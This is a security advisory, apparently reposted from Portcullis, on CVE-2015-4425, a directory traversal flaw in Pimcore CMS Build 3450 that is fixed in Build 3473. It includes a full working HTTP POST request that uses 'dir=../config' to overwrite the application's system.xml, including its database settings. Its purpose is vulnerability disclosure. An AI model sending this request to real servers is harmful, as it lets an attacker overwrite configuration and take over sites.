Pimcore CMS Build 3450 Directory Traversal

Published
Credit
Risk
2015.07.15
Josh Foote
Medium
CWE
CVE
Local
Remote
CWE-22
CVE-2015-4425
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.9/10
4.9/10
6.8/10
Exploit range
Attack complexity
Authentication
Remote
Medium
Single time
Confidentiality impact
Integrity impact
Availability impact
None
Partial
Partial

Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS
CVE: CVE-2015-4425
Vendor: Pimcore
Product: Pimcore CMS
Affected version: Build 3450
Fixed version: Build 3473
Reported by: Josh Foote
Details:

It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.

The following request can be used to update the ?system.xml? file of the web application:

POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1
Host: pimcore.com
Connection: keep-alive
Content-Length: 1502
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: multipart/form-data; boundary=--------2072505619
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4

----------2072505619
Content-Disposition: form-data; name="Filedata"; filename="system.xml"
Content-Type: application/xml

<?xml version="1.0"?>
<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">
<general>
<timezone>Europe/Berlin</timezone>
<language>en</language>
<validLanguages>en</validLanguages>
<debug>1</debug>
<debugloglevel>debug</debugloglevel>
<custom_php_logfile>1</custom_php_logfile>
</general>
<database>
<adapter>Mysqli</adapter>
<params>
<username>root</username>
<password>PASSWORD</password>
<dbname>pimcore</dbname>
<host>localhost</host>
<port>3306</port>
</params>
</database>
<documents>
<versions>
<steps>10</steps>
</versions>
<default_controller>default</default_controller>
<default_action>default</default_action>
<error_pages>
<default>/</default>
</error_pages>
<createredirectwhenmoved/>
<allowtrailingslash>no</allowtrailingslash>
<allowcapitals>no</allowcapitals>
<generatepreview>1</generatepreview>
</documents>
<objects>
<versions>
<steps>10</steps>
</versions>
</objects>
<assets>
<versions>
<steps>10</steps>
</versions>
</assets>
<services/>
<cache>
<excludeCookie/>
</cache>
<httpclient>
<adapter>Zend_Http_Client_Adapter_Socket</adapter>
</httpclient>
</zend-config>



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.


###############################################################
This email originates from the systems of Portcullis
Computer Security Limited, a Private limited company,
registered in England in accordance with the Companies
Act under number 02763799. The registered office
address of Portcullis Computer Security Limited is:
Portcullis House, 2 Century Court, Tolpits Lane, Watford,
United Kingdom, WD18 9RS.
The information in this email is confidential and may be
legally privileged. It is intended solely for the addressee.
Any opinions expressed are those of the individual and
do not represent the opinion of the organisation. Access
to this email by persons other than the intended recipient
is strictly prohibited.
If you are not the intended recipient, any disclosure,
copying, distribution or other action taken or omitted to be
taken in reliance on it, is prohibited and may be unlawful.
When addressed to our clients any opinions or advice
contained in this email is subject to the terms and
conditions expressed in the applicable Portcullis Computer
Security Limited terms of business.
###############################################################

#####################################################################################
This e-mail message has been scanned for Viruses and Content and cleared
by MailMarshal.
#####################################################################################



See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com